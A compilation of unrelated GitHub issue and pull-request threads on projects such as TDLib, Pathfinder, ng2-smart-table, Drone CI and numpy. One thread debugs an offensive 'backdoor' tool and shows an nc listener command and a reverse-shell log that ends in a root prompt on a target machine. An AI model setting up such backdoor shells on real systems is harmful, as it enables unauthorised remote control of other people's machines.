sharding-orchestration/sharding-orchestration-core/sharding-orchestration-core-registrycenter/src/main/java/org/apache/shardingsphere/orchestration/core/registrycenter/util/IpUtils.java
3
76.0%

Totals

Change from base Build 1139:
-0.005%

Covered Lines:
11869

Relevant Lines:
20396

💛  - Coveralls


tree index used in NGT

what's the tree index used in NGT?

Just find roughly neighboring nodes to the specified query as seeds to start exploring a graph as shown in the following figure.


The annotations generation script doesn't exist.

Thank you for the great work!
I met a problem. The annotations generation script tools/bezier_converter/nuscenes/convert.py you mentioned  in  readme dosen't exist.
Can you help to fix this?
Thanks in advance!

you can find it at /tools/anno_converter/nuscenes/convert.py

Thank you!


Fix initial value of Keyboard signals

Fixes https://github.com/elm-lang/core/issues/362 (and likely analogous issues for other signals in the Keyboard module).

Thanks for figuring the root of that out!


chore: return opensearch groups for testing

Checklist

[ ] Affected Issues have been mentioned in the Closing issues section
[ ] Documentation has been written/updated
[ ] PR title is ready for inclusion in changelog

Explain the details for making this change. What existing problem does the pull request solve?

Closing issues
Put closes #XXXX in your comment to auto-close the issue that your PR fixes (if such).

closing, should be solved better. this was only for verifying


The updateNewMessage event is not triggered unless you enter the message in the Telegram application and see it.

Hello everyone,
The updateNewMessage event is not triggered unless you enter the message in the Telegram application and see it.
At the same time, there is another self bot on the machine and such an event does not occur. I wonder if it can't keep two connections open at the same time from a machine?

Check that you use new enough TDLib version and that you have a few devices in the active device list.

I use TDLİB 1.8.9

Three different records appear to be open in the account

This is a very old version.

This is a very old version.

same tdlib 1.8.30

However, there was a problem like this: I did not receive any messages to the normal client. I saw that I received a message from a different account of mine. Then, when I refreshed it, it worked.

This problem does exist! And this problem has appeared in the past week, and it did not exist before!
The version number we use is 1.8.30, and the situation we encounter is the same as the problem encountered by the questioner above. When joining a new group/channel, there are only two situations to obtain the chatID:
01, log in again by receiving the verification code;
02, when there is a new message sent to the group/channel;

It is up to the server, when notify apps about new messages.

翻译
You didn't understand the problem we described.
Let me rephrase it:
Suppose there is a telegram account with a mobile phone number of 123. I log it in to the mobile telegram, and then also log in to the app developed based on tdlib 1.8.30.
I follow a channel on telegram on the mobile phone, and then use the app developed by tdlib to get all the chatlists with the current login account 123. At this time, the channel I just followed will not be displayed unless there are new messages sent from the channel!
获取Outlook for Androidhttps://aka.ms/AAb9ysg

From: Aliaksei Levin @.>
Sent: Monday, June 10, 2024 10:25:02 PM
To: tdlib/td @.>
Cc: benwoniu630353 @.>; Comment @.>
Subject: Re: [tdlib/td] The updateNewMessage event is not triggered unless you enter the message in the Telegram application and see it. (Issue #2924)
It is up to the server, when notify apps about new messages.
―
Reply to this email directly, view it on GitHubhttps://github.com/tdlib/td/issues/2924#issuecomment-2158515409, or unsubscribehttps://github.com/notifications/unsubscribe-auth/AMHEYQRAX6DUWC2HIH6JEVLZGWZL5AVCNFSM6AAAAABJAZCT2CVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDCNJYGUYTKNBQHE.
You are receiving this because you commented.Message ID: @.***>

@benwoniu630353
This is still up to the server.
Also, check that you have a few devices in the active device list.

4 devices
获取Outlook for Androidhttps://aka.ms/AAb9ysg

From: Aliaksei Levin @.>
Sent: Tuesday, June 11, 2024 12:29:32 AM
To: tdlib/td @.>
Cc: benwoniu630353 @.>; Mention @.>
Subject: Re: [tdlib/td] The updateNewMessage event is not triggered unless you enter the message in the Telegram application and see it. (Issue #2924)
@benwoniu630353https://github.com/benwoniu630353
This is still up to the server.
Also, check that you have a few devices in the active device list.
―
Reply to this email directly, view it on GitHubhttps://github.com/tdlib/td/issues/2924#issuecomment-2158822866, or unsubscribehttps://github.com/notifications/unsubscribe-auth/AMHEYQVUD7JCLWIFTL6FTWTZGXH6ZAVCNFSM6AAAAABJAZCT2CVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDCNJYHAZDEOBWGY.
You are receiving this because you were mentioned.Message ID: @.***>

3 device for me.

This problem has been around for a long time
https://github.com/vysheng/tg/issues/1758

This problem about large group or channel. Please use openChat then solve it.


Add pinned pieces handling

Create new abstract method in PieceMovement, which returns absolute pinned piece or None otherwise.

[ ] BishopMovement
[ ] RookMovement
[ ] QueenMovement


GUACAMOLE-1372: Modify usage of SAML library to allow signed requests.

The previous approach didn't actually allow requests to be signed - this change modifies the way we're calling the SAML library to allow signatures to be appended to the request as query parameters.
Draft since more testing is needed.

Ok, this is tested against a SAML provider that verifies signatures, and everything seems to be working.


Task 7.1 Create three ”company databases” on MongoDB

Related to user story #15

Three databases are created on MongoDB

The three databases on MongoDB is created and works.


Platformatic Client wrong interface generation

Hi, i'm finding an issue when i generate the API on FE.
I defined a custom query with is own type that i defined with zod. This is an array of object
const item= z.object({
  plantId: z.string(),
  parentBefore: z.string(),
})

const requestBodyMoveNode = z.array(item)

The type is correctly visualize inside doc and inside route controller but when i run
platformatic client http://exmaple.com/to/schema/file --frontend --language ts --name test
the generated type is transform into object. Following the code generated:
export interface PutBomsMoveRequest {
  plantId: string
  parentBefore: string
}

How can i solve this? Thanks

Thanks for reporting!
Can you provide steps to reproduce? We often need a reproducible example, e.g. some code that allows someone else to recreate your problem by just copying and pasting it. If it involves more than a couple of different file, create a new repository on GitHub and add a link to that.

Here the link of platformatic repo where you can test problem. Link
I update /plugins/boms/domain.ts file, where you can find the definition of array
At /plugins/boms/controller.ts, you can find the route that use the object in question:
app.put(
    '/boms/move',
    { schema: schemaMoveNode },
    async function (request: FastifyRequest<{ Body: UpdateActionsBody }>, reply) {
      app.log.info(request.body) // This is an array
    }
  )


Option to disable fmt for tfvars file

The terraform fmt runner is neat, but on I would prefer to have an option to disable it for tfvars file. It makes them look really ugly with spaces between all the variables.

Not sure if it's a new feature, but I see what's requested is already possible:
"terraform.format": {
    "ignoreExtensionsOnSave": [
      ".tfvars"
    ]
  }


Nothing is displayed when running on Magic Leap One

The following demo has been installed on Magic Leap One.
https://github.com/servo/pathfinder/releases
Installation succeeded and ran. But nothing is displayed.
My Magic Leap One is Lumin OS v0.96.0.
Thanks,

@asajeffrey Any idea what's going on?

@tokufxug, are you running the PF Landscape or Immersive app?
Does mldb log show anything relevant?

@asajeffrey I have installed PathfinderDemo.mpk below.
https://github.com/servo/pathfinder/releases
When launched, it is launched as an Immersive app. The display of Leaper has more than ten seconds.
As time goes on, the Leaper disappears and then nothing happens.
mldb log can not be acquired.
By the way, have you confirmed the operation check with Lumin OS v 0.96.0?
Also, is there no need for explicit permission settings?
Thanks,

Try launching the landscape app and see what happens.
Do you have the MLSDK installed? If so, mldb should be in tools/mldb/mldb. The log output might be useful in determining if the program's crashed.

Try launching the landscape app and see what happens.
I know that this application is not a landscape. I think it is immersive.

How do you start it as a landscape app?
Log is acquired. After acquisition, I will pass the log.
Thanks,

After you install the mpk, the app launcher should have two new entries "PF Immersive Demo" and "PF Landscape Demo".

I did not notice that the landscape application was installed.
PF Landscape Demo was successfully launched.
It seems that PF Immersive Demo starts when you click the box displayed on PF Landscape Demo, but there is no response when it is started.

Okay, that's progress! I'm hoping the log will show what's going on.

The log was not output even if PF Immersive Demo was started.
-- Start PF Landscape Demo
06-06 22:54:28.211  1874     1 I NoTag   : Pathfinder initializing
06-06 22:54:28.211  1874     1 I Pathfinder Demo: Initializing
06-06 22:54:28.211  1874     1 I Pathfinder Demo: Initialized logging
06-06 22:54:28.236  1874     1 I Pathfinder Demo: Initialized gl
06-06 22:54:28.236  1874     1 I Pathfinder Demo: Initialized pf
06-06 22:54:28.236  1874     1 I NoTag   : Pathfinder initialized
06-06 22:54:29.250  1874     1 W Pathfinder Demo: Could not resolve a FuncIRI reference: clip1.
06-06 22:54:29.250  1874     1 W Pathfinder Demo: Could not resolve a FuncIRI reference: clip3.
06-06 22:54:29.250  1874     1 W Pathfinder Demo: Could not resolve a FuncIRI reference: clip4.
06-06 22:54:29.250  1874     1 W Pathfinder Demo: Could not resolve a FuncIRI reference: clip5.
06-06 22:54:29.250  1874     1 W Pathfinder Demo: Could not resolve a FuncIRI reference: clip6.
06-06 22:54:29.250  1874     1 W Pathfinder Demo: Could not resolve a FuncIRI reference: clip7.
-- Click the box of PF Landscape Demo (It is a log of alert notification of start confirmation.)
06-06 22:54:36.721  1874     1 I NoTag   : Dispatching svg/nba-notext.svg
-- Start the immersive demo, the Leaper icon will appear, but it will disappear after a few tens of seconds. The log was not output.
I confirmed in the mldb log, but please let me know if there is another command you want to execute.
Thanks,

Hmm, so the landscape app is launching the immersive app, but it's not starting. Can you reboot your device and see if you're getting the same behaviour (including nothing from the immersive app in the log)?

The operation by checking the log so far is the operation after restarting Magic Leap One.
This mpk has been tested on Magic Leap One with Lumin OS v 0.96.0 installed on the mozira side, right?

In the office now, so I could test on a device. I downloaded the .mpk and installed it, it works on my device, but that's Lumin OS v0.95.2. I'll update the OS and try again.

OK, I updated the OS on my device, and I can confirm the issue. The app works with LuminOS v0.95 but not v0.96. Thanks for your report, and for your patience tracking it down. Hopefully the fix for v0.96 won't take too long.

Tracking the issue down, it looks like LuminOS 0.96 now requires lifecycle initialization to happen before any other initialization (previously you could initialize in any order). Fixing this will hopefully not take too long.

@tokufxug Can you try https://www.dropbox.com/s/ovxfj3ghwghg7xk/PathfinderDemo.mpk?dl=0 and see if that works at your end?

The second preview release at https://github.com/servo/pathfinder/releases/tag/preview-2 should fix this problem.

@asajeffrey  I downloaded second preview and both Landscape and immersive worked properly.
Thanks,

Thanks for helping us sort this out!


chore: fix debug logging

:tada: This PR is included in version 4.2.3 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:


Start an infinite loop and get stuck on Windows

There is a bug with this cli when running on Windows, the assume-role.exe command will start an infinite loop and get stuck, the total memory use will reach 99%. So a few lines of codes need to be commented out or fix and the assume-role.exe needs to be recreated by go build command

If anyone come to here and want to find a runnable version on Windows with compatible usage with this tool, could have a look at https://www.npmjs.com/package/assume-role-js


Suggestion: functionality

While this advertise to be a decentralised memory / file sharing system it really doesn’t store meta related  with file , memories only make sense while it has sensible meta data associated with it

Any plan for implementing private sharing via user with system ?

For the second point I am looking forward to working on the same after the results and for the first point we are saving image/gif buffer data on skynet and then passing its skylink on the personal ethermint node

For the second point I am looking forward to working on the same after the results and for the first point we are saving image/gif buffer data on skynet and then passing its skylink on the personal ethermint node

My whole point is , it does not have imp meta details as user , description etc


debug help: training with pre-calculated phoneme durations

Hello, I would like to ask a few questions about my experiment. I followed the training steps for the LJspeech dataset exactly, with the only modification being replacing LJspeech with my English data. This allowed me to generate high-quality speech. Building on this, I conducted another experiment where I used pre-calculated phoneme durations instead of using MAS to obtain the phoneme durations. I found that the generated audio spectrograms were good, with clear harmonic structures, but it was difficult to understand what was being said. Could you give me some debugging directions? Have you conducted this experiment before? I performed a few troubleshooting steps:
I used the same data with FastSpeech2, ruling out alignment issues. I also printed the data loaded by the Matcha-TTS dataloader, confirming that the phonemes and durations were aligned.
Compared to FastSpeech2, the main difference in Matcha-TTS, aside from the decoder, is that the latter uses a prior loss. I am currently retraining with this loss turned off, but it has only just begun.
Thank you very much!
generated audio with model which trained with pre-calculated phoneme durations
text: You're a chef.

The loss curves from the experiment are as follows, with the blue line representing the experiment using MAS and the gray line representing the experiment using pre-calculated durations.

Oh god! So it's the fault of the prior loss.

Sorry for the delayed reponse I was away from the keyboard. I am glad it is resolved, just to confirm that you are aware of the extra blank token addition.

Sorry for the delayed reponse I was away from the keyboard. I am glad it is resolved, just to confirm that you are aware of the extra blank token addition.

So sorry for forgetting to reply. After reading the literature you recommended, I have some understanding of the blank state. Its function seems to be that for the same phoneme, it can absorb different pronunciation variations, such as pronunciation duration. Theoretically, prosody should be better than pre-forced alignment methods like MFA, because for the same phoneme with different pronunciations, there are no additional states to absorb them.


vgg-m-2048 without BatchNorm model

It seems that, the magenet_mcn_vgg_m in your pre-convert model is the vgg-m with BN. Now, the pytorch supply the LRN, could you please supply the pre-convert model of vgg-m-2048 without BatchNorm but with LRN?

Hi noUnbrella,
Did you find out the solution to this?
@albanie, I am trying to convert a model with architecture similar to Alexnet shown in matconvnet website "imagenet-caffe-alex" (after converting it into dagnnn). It contains a LRN layer which is not recognized by importer.py. Hence I am unable to convert it into pytorch format. Can you please help me with this? Thanks


Fix Invalid array length in Node v0.10.31

Fixes this issue: https://github.com/mattinsler/longjohn/issues/42

Merged and published as version 0.2.6.


Add option to not upload built package.

Add option to not upload built package to allow action to be used in CI testing.
Updated docs with CI options for new optional upload.
Closes #2

I hope I've got the syntax correct. Happy to make any changes you think are required.


Cache source artifacts by default

With this commit we add the artifact cache introduced by #992 also for
plugins and implement a cache cleanup mechanism that cleans up artifacts
after seven days by default (can be configured with cache.days). As
artifact caching can now replace the pipeline from-sources-skip-build
we deprecate it along with from-sources-complete and introduce a new
pipeline from-sources instead.

Thanks for the reviews! :)


ASSp processing question for spans of text

In emdH5_GenIntro, we have a long quote that spans two speeches. We're using a single <ptr> element to link back to emd H5_FM. Here is how it is encoded: <ptr type="localCit" target="doc:emdH5_FM#emdH5_FM_a4_s7_sp22 doc:emdH5_FM#emdH5_FM_a4_s7_sp23"/>. On the site, only the first speech is rendering in the citation.

Is that what we would expect with this encoding? Do we need two <ptr> elements? Or would we expect it to render showing both ASSp numbers?

I don't think we had considered the possibility that spans stretching across speeches would be linked.

@LEMDO-PM Are these rare cases which only span two speeches? If so, I think I would create two separate pointers, one pointing to each speech, and put a hyphen between them.

Ping @LEMDO-PM...

Since it would be very problematic to process this, and conversely it's very easy for the editor to create two separate pointers, I think this should simply be a task to update the documentation to make this clear: if you're annotating a span of text which runs across the boundary between ASSP units, then create your citation using two distinct pointers with a hyphen between them.

That sounds good. Thanks!! I've added it to my documentation list.


Venft content

What does this PR do and why?
Adds skeleton structure for the content of the veNft drawer. The drawer consists primarily of 4 sections:
The Header
The Staking Form
The Owned NFTs Section
The Staking Summary Section
Additionally, this PR adds additional hook to get the name of an ERC-20 token for display purposes.
Screenshots or screen recordings

Acceptance checklist

[ ] I have evaluated the Approval Guidelines for this PR.
[ ] I have tested this PR in all supported browsers.
[ ] I have tested this PR in dark mode and light mode (if applicable).

All comments resolved @aeolianeth


Responsive Image Code

I was going through the official document and examples but was unable to find the code for Responsive Image. I am trying to implement it, but unable to do so. can you provide the code for the responsive image example or can you publish a sandbox/normal code in the website for example.

when I click for code, it only shows this piece of code, which is the same for all images and it doesn't make sense. please try to provide a code for it.

I also looked for it recently. The code is acutally written as a decorator for the story file, you can find it here:
https://github.com/BetterTyped/react-zoom-pan-pinch/blob/master/src/stories/examples/image-responsive/example.tsx

Locating this information proved to be unnecessarily challenging. It's unclear why the code snippets for all Storybook examples aren't more accessible. Discovering that one needs to navigate through numerous folders to find the example codes was not apparent. Making these resources more readily available would undoubtedly benefit many users.


update WAMR

Description

Update WAMR dependencies.
Remove assert and unwrap.

Type of change (select or add applied and delete the others)

[x] Bug fix (non-breaking change which fixes an issue)
[ ] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
[ ] API change with a documentation update
[ ] Additional test coverage
[ ] Code cleanup or just sync with upstream third-party crates

How has this been tested?
Checklist

[x] Fork the repo and create your branch from master.
[x] If you've added code that should be tested, add tests.
[x] If you've changed APIs, update the documentation.
[x] Ensure the tests pass (see CI results).
[x] Make sure your code lints/format.

I suggest to wrap C APIs into a struct and use new and drop for resource management.

I suggest to wrap C APIs into a struct and use new and drop for resource management.

Sounds good! Will do.

This PR becomes stale. Closing.


bash backdoor doesn't work

listening on [any] 53923 ...
connect to [<IP_ADDRESS>] from (UNKNOWN) [<IP_ADDRESS>] 59892
[sudo] password for student: target123
bash: cannot set terminal process group (14124): Inappropriate ioctl for device
bash: no job control in this shell
sh: 1: None: not found
sh: 1: None: not found
sh: 1: None: not found
sh: 1: None: not found
sh: 1: None: not found
sh: 1: None: not found
sh: 1: None: not found
...

Is this because there is already a listener on that port?

If there is already a listener it shouldnt work... I'll look at it

I wrote a quick fix for it but I'm not sure it will work for you - its been working fine for me.

Still doesn't work - I think it has to do with how we're giving root privilege to the shell we're spawning?
Try running it against the target box
https://serverfault.com/questions/411307/cannot-set-terminal-process-group-during-su-to-another-user-as-login-shell

george@ubuntu:~$ nc -v -n -l -p 53923
Listening on [<IP_ADDRESS>] (family 0, port 53923)
Connection from [<IP_ADDRESS>] port 53923 [tcp/*] accepted (family 2, sport 39111)
[sudo] password for george: password
bash: cannot set terminal process group (11005): Inappropriate ioctl for device
bash: no job control in this shell
root@ubuntu:~#

george@ubuntu:~$ nc -v -n -l -p 53923
Listening on [<IP_ADDRESS>] (family 0, port 53923)
Connection from [<IP_ADDRESS>] port 53923 [tcp/*] accepted (family 2, sport 39111)
[sudo] password for george: password
bash: cannot set terminal process group (11005): Inappropriate ioctl for device
bash: no job control in this shell
root@ubuntu:~# ls
ls
backdoorme
Desktop
Documents
Downloads
examples.desktop
Firefox_wallpaper.png
Music
Pictures
Public
pythBackdoor.py
Templates
Videos
root@ubuntu:~#

Your previous error appears to be what we were getting when the poison module was broken... does it still not work for you?


events IE10

events doesn't work in IE 10

please provide a plunker or something that I can check.. as I know everything should work

Hello, here is a plunker where you can test :
https://plnkr.co/edit/ZWsWfKpKwbjucAa1Rc7p?p=preview
Check in the console, there should be a info log 'ready called' when the tree is ready.
Works on chrome, IE edge but not in IE10.
Thanks in advance !

Here is an other plunker with pure jstree working on IE10 :
https://plnkr.co/edit/DYtSSihRKZ0tWLtpbM8I?p=preview

Thanks.. will check this

Looks like it is related to your jQuery version.
try 2.1.1 version, it should work.

In the pure jstree you use jquery 3 and this is why it is working

I tried with a 2.1.1 and 3.0.0 versions of jquery without success :(

strange.. i changed your plunker and it worked... you cann see anyway that the error comes from jquery


Add test for merge-request parsing

This adds new tests for merge-requests
It incidentally fixes a bug where pipeline users were not being read.

I'm going to merge this one, but immediately make a few small changes. The PR is good, but I want to keep things consistent so I'm going to revert a few of your changes.
But thanks for the PR nonetheless!!


Including version number of Flight in Flight.php root file

It would be great if the version number of Flight could be included in the Flight.php file. This makes it easy to check which version you are using.
Thanks by the way for making Flight.php, i'm using Flight many years.

So you just want it in a comment like that? What's your use case for it? I just assume you could just run composer show flightphp/core and get your version there.

Thanks for your reply. I'm not using composer, but downloaded the php files of Flight straight from this repository. But thanks for hinting me to composer!


fix: copy syslog priorities into this package

On windows the standard package log/syslog is not available. Therefore I copied the log level definitions from there to enable usage of this package on windows as well.

Anyone up for review? We're hitting this all the time with Windows :(

thanks!


when clicking button via inputfetcher on a default dot, the dot doesn't get converted to an input

addressed in commit #439e9cd


Let nanarg{min,max}(..., axis=...) optionally return a placeholder value for all-nan slices.

Currently, nanarg{min,max}(..., axis=...) raises a ValueError when any full-nan slice exists.  On numpy's side it looks like a while ago (#3030) this used to return UINTPTR_MIN (the largest negative value), and that behavior was removed to avoid hiding bugs.
I agree with raising by default, but OTOH this prevents writing code where we know that all-nan slices are possible and we are ready to handle them.  Adding an option like raise_on_all_nan: bool (defaulting to True) would allow one to do e.g.
idxs = np.nanargmin(t, axis=1, raise_on_all_nan=False)
all_nans_mask = idxs < 0
# do some handling with all_nans_mask

Similar issue posted on numpy's side as https://github.com/numpy/numpy/issues/12352.

My goal is to follow numpy. So I'd only consider changing if you got them to change.
To follow current numpy behavior I do:
if (allnan) {
        VALUE_ERR("All-NaN slice encountered");
        return NULL;
}


[EN] Bug in FScloud example when using private endpoint in CBR rule for schematics.

PR merged, closing this.


Fixnum & Integer unification for Ruby 2.4 compatibility

This removes the deprecation warning
warning: constant ::Fixnum is deprecated

Closing this due to the extremely limited likelihood of being merged.


List View

[x] Design list view
[x] Add index field
[x] Scrollable
[x] Multi line cell design
[x] Copy account ID to clipboard as plane text
[x] Copy passoword to clipboard as plane text
[ ] To set delete flag, Swipe a row left to show Delete button.
[x] To navigate edit view, tap a record

cancelled delete button implements at this time.


Lazily fetch code

Instead of fetching all of the code, the user should be able to:

[ ] See the entire directory structure on joining.
[ ] Fetch individual files when opening them.
[ ] Still have the option to fetch the whole project.

I really appreciate your code and it inspired me. But it seems you don't understand a concept.
Please check this carefully.
Collaborative-editing-javascript-intro-operational-transformation
This show you how to sync shared filesystem. You may ignore a webtorrent part.
Shared Filesystem with Y-js

Interesting article, I didn't know about this.
I'll definitely see if I can use this method instead. Thanks.
We will still need to lazily load files though. Most projects are simply too large to send entirely, regardless of the method.

Closing this in favour of simply sending the whole project at startup.
It's less confusing than the "Fetch Code at startup" plan, and I think the protocol handles things well enough. Big projects will have to set an option to skip this.

What about fetching project file using CRDT?
Make dictionary type (key, value) of object and sync it by CRDT. Sync a exact file when change detected.

Yes, this is what will need to be done when implementing #34


updating kubenet template to support dual stack scenarios

This updates the host-local ipam plugin for kubenet to write multiple values from .PodCIDRRanges and enables ipv6 forwarding on the host.
This is safe to update even for current, single-stack clusters since the .PodCIDRRanges will have the .PodCIDR value and the routes will remain the same. source

How did you test the changes in this PR?

tested with AKS-RP e2e and unit tests as well as a standalone cluster to confirm the changes do not impact single-stack clusters. CNI config will have the following shape as an example:
{
    "cniVersion": "0.3.1",
    "name": "kubenet",
    "plugins": [
        {
            "type": "bridge",
            "bridge": "cbr0",
            "mtu": 1500,
            "addIf": "eth0",
            "isGateway": true,
            "ipMasq": false,
            "promiscMode": true,
            "hairpinMode": false,
            "ipam": {
                "type": "host-local",
                "ranges": [
                    [
                        {
                            "subnet": "<IP_ADDRESS>/24"
                        }
                    ]
                ],
                "routes": [
                    {
                        "dst": "<IP_ADDRESS>/0"
                    }
                ]
            }
        },
        {
            "type": "portmap",
            "capabilities": {
                "portMappings": true
            },
            "externalSetMarkChain": "KUBE-MARK-MASQ"
        }
    ]
}


Introduce columnar layout in memtable

Describe This Problem
Currently, the memtable is organized by rows, which is not suitable for query and persist.
Proposal
Introduce columnar layout in memtable to accelerate the query and flush.
Additional Context
No response

Duplicate.


Error: Cannot match pipeline name with stage

Summary
I am trying to run the example .drone.yml just to verify my drone setup is correctly working. Regardless of what I put in this file I get an error saying: Cannot match pipeline name with stage.
In the logs I see the same error
{"level":"error","repo":"dom/drone","build":2,"stage":1,"time":"2018-10-10T09:50:48Z","message":"cannot match pipeline name with stage"}

I've grepped through the code base to try and work out what this error means but cannot find where it is defined. I am unsure if it is a bug or if it is a genuine error in my configuration but I am using the example .drone.yml file.
pipeline:
  build:
    image: golang
    commands:
      - go get
      - go build
      - go test

Start command:
 docker run   --volume=/var/run/docker.sock:/var/run/docker.sock   --volume=/var/lib/drone:/data   --env=DRONE_TLS_AUTOCERT=false   --env=DRONE_GITEA_SERVER=http://XXXXX:3000   --env=DRONE_GITEA_SKIP_VERIFY=true   --env=DRONE_SERVER_HOST=XXXXX   --env=DRONE_SERVER_PROTO=http   --env=DRONE_RUNNER_CAPACITY=2   --env=DRONE_PRIVATE_MODE=false   --env=DRONE_LOGS_DEBUG=true   --publish=80:80   --name=drone   drone/drone:0.9.0-alpha.2

Please follow the guide on the temporary home if the 0.9 documentation to get a 0.9 setup rolling: https://readme.drone.io
The documentation at https://docs.drone.io will be replaced with the final release of 0.9. This version got a massive break to the current pipeline Definition.


WIP | Try to fix Cancelation Task exception

Possible fix for #1250
@roji and @Wraith2 could this be a possible fix for this issue?

I haven't investigated but it's worth a try.


error improvements

address some deprecations
detect non-Workflow CWL documents and give a better error message

Description
When the use provides a path to a CWL document that is not class: Workflow or a $graph containing a class: Workflow, we need a better error message than Error: The workflow could not be found within the repository
Motivation and Context
Fixes #582
How Has This Been Tested?
I tested locally with the provided Git repository URL, branch, and path in the original issue.

Screenshots (if appropriate):

Types of changes

[x] Bug fix (non-breaking change which fixes an issue)
[ ] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to change)

Checklist:

[ ] My change requires a change to the documentation.
[ ] I have updated the documentation accordingly.
[ ] I have added tests to cover my changes.
[x] All new and existing tests passed.

@kinow Could you add a test? I'm not familiar with the testing framework

Sorry, saw this comment before approving. Let me take a look…

(Clicked on Update branch -- forgot to check if there was an option to rebase...)

@kinow I rebased and fixed the conflicts


Updates for B/C breaks in react/event-loop 0.5

There were a few B/C breaks in the react/event-loop 0.5 release affecting this bundle.  They are accounted for with this PR.

React php have release there first stable release as 1.0, we should directly jump on

Bumped to ^1.0 minimum and removed the gos/pnctl-event-loop-emitter dependency.

I will merge it soon, under a major release in RC, as I did before for symfony4 to ensure it's stable (due to lack of test) so It can take a bit of of time to be validated and released under a stable tag.
If you observed some incompatibilities with gos deps, don't hesitate to mention it here or open a pull request.
After the major tag is released, we also could remove deprecated code from previous versions (I think of caching system)

A pre release has been tag as 1.9.0 :tada:


Issues regarding the ng2-smart-table (not data found)

I'm trying to use ng2-smart-table following ngx-admin template,  but I got one issue as below.
My data didn't show there when the page is load,  but it will show out after I just click any filter box then move out my cursor, the data will show there.

my  ng2-smart-table  version is 1.2.2,  my angular version is 5.1.0,  please give me some advice regarding this issue?
I just copy the code from https://github.com/akveo/ngx-admin/tree/master/src/app/pages/tables/smart-table without any change right now.

Hi,
I'am this problem too. Did you find a solution?

Use LocalDataSource, Add this to app.module:
import { Ng2SmartTableModule,LocalDataSource } from 'ng2-smart-table';
Then, in your component declare :
source : LocalDataSource;
constructor(){
//add data
this.source = new LocalDataSource(this.data);
}

Thx,  I finally figure this problem as I put a wrong setting in my component  changeDetection: ChangeDetectionStrategy.OnPush,  use ChangeDetectionStrategy.Default work well for me.

Use LocalDataSource, Add this to app.module:
import { Ng2SmartTableModule,LocalDataSource } from 'ng2-smart-table';
Then, in your component declare :
source : LocalDataSource;
constructor(){
//add data
this.source = new LocalDataSource(this.data);
}
Hope this helps, worked for me !

This worked for me. Just load the "source" in the ngOnInit

Hello there.
I also found that.. if You have one "render component" in your column settings and this is giving an error, the table only shows the rows that are correct (without errors). Try loading sample data and test..
Example:

I was supposed to pass value to  instance.TooltipText but I was passing an empty string (view the image).. then inside the toolptiptext component i was using something like value.toString() , obviously like there is no string the function toString() was failing.. so I just comment that part of the code and then it works..
Greetings

None of the solution here works for me...

This is not the most ideal solution but so far it's working for me. Maybe it will help shed some light on to what the actual issue is. This definitely seems hacky to me but here is what I did to get it to work...
I'm using ngrx and want to utilize angular's OnPush change detection.
I have a parent component set to "changeDetection: ChangeDetectionStrategy.OnPush". Yes if I change this back to the default strategy it works, but I want to use OnPush.
My child component contains the ng2-smart-table component. This component takes in an array of objects using the @input property. This object is what is used as the [source] input for the ng2-smart-table.
If I use this @input object to iterate on any other DOM element like a ul>li it works fine. So the OnPush works, the smart-table is just not detecting any changes. I'm assuming the reason the data loads after a button click is because that triggers the angular detection to mark it as changed so it then updates it later in the cycle.
What I did was force the change detection to kick in on the ngOnChanges lifecycle hook. The component looks like this...
`
export class UserTableComponent implements OnInit, OnChanges {
@input() users: User[];
settings: any;
constructor(private cd: ChangeDetectorRef) {
}
ngOnInit() {
this.initSettings();
}
ngOnChanges(changes: SimpleChanges): void {
setTimeout(() => {
this.cd.detectChanges();
}, 0);
}
}
`
If i remove the setTimeout it doesn't work for some reason. Yes it seems hacky but it works for me. I don't know if I'm doing something wrong or if ng2-smart-table has a bug that isn't detecting changes correctly. Anyways, hope it helps.

After testing every suggestion that has been I'm still having this issue. How did you solved it?

This still doesn't seem to be working with OnPush. Does ng2-smart-table not allow an OnPush change detection? Why was this set to 'closed' with no resolution?

Well, actually, you can use the following in case OnPush strategy and ServerDataSource.
public source: DataSource;

private subscriptions: Subscription[] = [];

constructor(
    private http: HttpClient,
    private ref: ChangeDetectorRef,
  ) {
  }

ngOnInit(): void {
    this.source = new ServerDataSource(
      this.http, {});

    const subscription = this.source.onChanged()
      .pipe(tap(() => this.ref.markForCheck()))
      .subscribe();

    this.subscriptions.push(subscription);

    this.refreshDataSourceOnFormSave();
}

public ngOnDestroy(): void {
    this.subscriptions.forEach(sub => sub.unsubscribe());
}


Xcode 15 fix

please accept this merge request

Confirmed working. Let's get a new release!

Fixed here https://github.com/Yummypets/YPImagePicker/commit/4ad09560321182b73ed415c543a77bc83b80a3f2
A temporary way for use: pod 'YPImagePicker', :git => 'https://github.com/Yummypets/YPImagePicker.git', :commit => '4ad09560321182b73ed415c543a77bc83b80a3f2'


Migration to Swift 4

Updated .gitignore, old Package.swift has been removed and swift version is now the default, updated travis to remove swift 3.1.1 support (in Xcode 8). Also updated .swift-version to 4.0 and deleted Package.pins file.

Codecov Report

Merging #25 into master will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##           master      #25   +/-   ##
=======================================
  Coverage   72.79%   72.79%
=======================================
  Files           4        4
  Lines         136      136
=======================================
  Hits           99       99
  Misses         37       37

Flag
Coverage Δ

#KituraCache
72.79% <ø> (ø)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update cfdbbe5...1c456dc. Read the comment docs.


Add missing exclamation mark to details component browser compatibility check

Description
This corrects an outstanding bug in the details component which was introduced with the following commit.
It's a straight forward change as it's an exclamation mark that is missing to negate the condition.
Currently, the bug manifests itself on pages that use details components where the components aren't attributed correctly.
Checklist

[X] Tested against our testing policy (Resolution, Browser & Accessibility)
[X] Follows our coding standards and style guide
[X] CHANGELOG entry

Not sure about this. The code is meant to be without the negation?
export default () => {
  // Does the browser support details component
  const nativeSupport = typeof document.createElement('details').open === 'boolean';
  if(nativeSupport) {
    return;
  }

In that if we have native support, we want to return early, because we don't need to polyfill anything.
Can you clarify exactly what you're expecting to see, that you aren't seeing?

You can see the same logic here in govuk-frontend:
https://github.com/alphagov/govuk-frontend/blob/main/src/govuk/components/details/details.js#L26

